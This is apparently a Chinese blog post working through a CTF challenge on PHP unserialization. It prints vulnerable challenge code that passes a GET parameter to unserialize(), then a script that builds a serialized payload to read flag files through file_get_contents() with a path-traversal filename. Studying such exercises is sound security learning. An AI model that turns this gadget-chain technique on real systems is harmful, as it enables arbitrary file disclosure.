首页 > 其他分享 >web日刷

web日刷

时间:2023-08-06 12:33:14浏览次数:38  
标签:__ web echo file openstack 日刷 序列化 public

今天是简单反序列化

 1  <?php  
 2 include 'flag.php';
 3 class pkshow 
 4 {  
 5     function echo_name()     
 6     {          
 7         return "Pk very safe^.^";      
 8     }  
 9 } 
10 
11 class acp 
12 {   
13     protected $cinder;  
14     public $neutron;
15     public $nova;
16     function __construct() 
17     {      
18         $this->cinder = new pkshow;
19     }  
20     function __toString()      
21     {          
22         if (isset($this->cinder))  
23             return $this->cinder->echo_name();      
24     }  
25 }  
26 
27 class ace
28 {    
29     public $filename;     
30     public $openstack;
31     public $docker; 
32     function echo_name()      
33     {   
34         $this->openstack = unserialize($this->docker);
35         $this->openstack->neutron = $heat;
36         if($this->openstack->neutron === $this->openstack->nova)
37         {
38         $file = "./{$this->filename}";
39             if (file_get_contents($file))         
40             {              
41                 return file_get_contents($file); 
42             }  
43             else 
44             { 
45                 return "keystone lost~"; 
46             }    
47         }
48     }  
49 }  
50 
51 if (isset($_GET['pks']))  
52 {
53     $logData = unserialize($_GET['pks']);
54     echo $logData; 
55 } 
56 else 
57 { 
58     highlight_file(__file__); 
59 }
60 ?> 

这道题是反序列化,但是跟phar反序列化没有关系,考察还是php反序列化和php强比较绕过。

看到反序列化的题,先找找执行的关键函数,这里是file_get_contents(),于是我们就要构造触发echo_name()这个函数,这个函数在acp类里面的__toString魔术方法里面,

  1. __construct :构造函数,每次创建新对象先调用该方法。
  2. __toString:返回一个类被当作字符串时要输出的内容。

强比较利用的是NULL===NULL来进行绕过

 1 <?php 
 2 /**
 3  *autho:crayon 
 4  */
 5 
 6 class acp 
 7 {
 8     protected $cinder;
 9     function __construct()
10     {
11         $this->cinder = new ace();
12     }
13 }
14 class ace
15 {
16     public $filename="flag.php";  //后面修改为../nssctfasdasdflag
17     public $openstack;
18     public $docker;
19 }
20 $a= new acp();
21 
22 echo serialize($a);
23 echo "\n";
24 echo urlencode(serialize($a));

前面看了一个师傅的wp,直接把cinder赋值了,感觉没绕过construct方法,还是这个好理解。

 

标签:__,web,echo,file,openstack,日刷,序列化,public
From: https://www.cnblogs.com/Focu4/p/17609284.html

相关文章

  • JavaWeb之Servlet入门版教务系统(二)
    本次要分享的内容是之前教务系统中系统管理模块下的角色列表功能,包括对角色信息进行增删改查以及对当前的用户进行角色的分配(重点讲解)。首先还是需要使用mysql数据库准备一张角色表,建表语句如下:DROPTABLEIFEXISTS`sys_role`;CREATETABLE`sys_role`(`role_id`int(11)NO......
  • .Net Web API 005 Controller上传小文件
    1、附属文件对象定义一般情况下,系统里面的文件都会附属一个对象存在,例如用户的头像文件,会附属用户对象存在。邮件中的文件会附属邮件存在。所以在系统里面,我们会创建一个附属文件对象,命名为AttachedFileEntity。其定义如下所示。///<summary>///附属文件实体对象///</summ......
  • 创建一个基于SpringBoot的web项目
    1、使用国内地址创建SpringBoot项目国内地址:https://start.springboot.io/2、项目结构1:Java目录下放Java相关文件2:static目录下放.css.html.js等文件,包括图片之类的3:templates目录下放模板文件4:放SpringBoot主要配置文件3、创建基于SpringBoot的web案例在上面基础之上,进行下......
  • 漏洞发现-web应用之漏洞探针利用修复
    原理分析1.已知CMS---如常见的dedecms.discuz,wordpress等源码结构,这种一般采用非框架类开发,但也有少部分采用的是框架类开发,针对此类源码程序的安全检测,我们要利用公开的漏洞进行测试,如不存在可采用白盒代码审计自行挖掘。(1.在漏洞平台如seebug、cnvd搜索关键字2.使用工具......
  • 10.2 web服务器
    Web客户端和服务器之间的交互用的是一个基于文本的应用级协议,叫做HTTP(HypertextTransferProtocol,超文本传输协议)。HTTP是一个简单的协议。一个Web客户端(即浏览器)打开一个到服务器的因特网连接,并且请求某些内容。服务器响应所请求的内容,然后关闭连接。浏览器读取这些内容,并把......
  • WebSocket
    1.使用前端jsfunctioncreateScoket(token){varsocket;if(typeof(WebSocket)=="undefined"){console.log("您的浏览器不支持WebSocket");}else{varhost=window.location.origin.replace("http:","ws:&quo......
  • 探索ASP.NET Framework WebAPI的简介与应用
    一、什么是WebAPI?1.1-什么是WebAPI?WebAPI是一种用开发系统接口、设备接口API的技术,基于Http协议,请求和返回格式默认是Json格式。比WCF简单、更通用;比WebService更节省流量,更简洁。1.2-WebAPI的特点?Action方法直接返回对象,专注于数据更符合Restful的风格有利于独立于IIS部署Action可......
  • 探索ASP.NET Framework WebAPI的简介与应用
    一、什么是WebAPI?1.1-什么是WebAPI?WebAPI是一种用开发系统接口、设备接口API的技术,基于Http协议,请求和返回格式默认是Json格式。比WCF简单、更通用;比WebService更节省流量,更简洁。1.2-WebAPI的特点?Action方法直接返回对象,专注于数据更符合Restful的风格有利于独立于IIS部......
  • 增强型Web安全网关在银行的应用
    销售,绝不是降低身份去取悦客户,而是像朋友一样给予合理的建议。你刚好需要,我刚好专业!仅此而已! 乔.吉拉德健康的安全体系,还可以更完善   浙江某商业银行股份有限公司是一家成立多年的商业银行,对于网络安全和数据安全的建设已经非常完善。作为成立多年的商业银行,对于网络安全和......
  • web前端技能方法总结(css、js、jquery、html)(3)
    HTML(HyperTextMarkupLanguage)就是超文本标记语言。"超文本"就是表示页面内可以包含非文字元素,如:图片、链接、音乐等等。它是一种建立网页文件的语言,通过标记式的指令(Tag),将影像、声音、图片、文字等链接显示出来。这种标记性语言是因特网上网页的主要语言。HTML网页文件可以使用......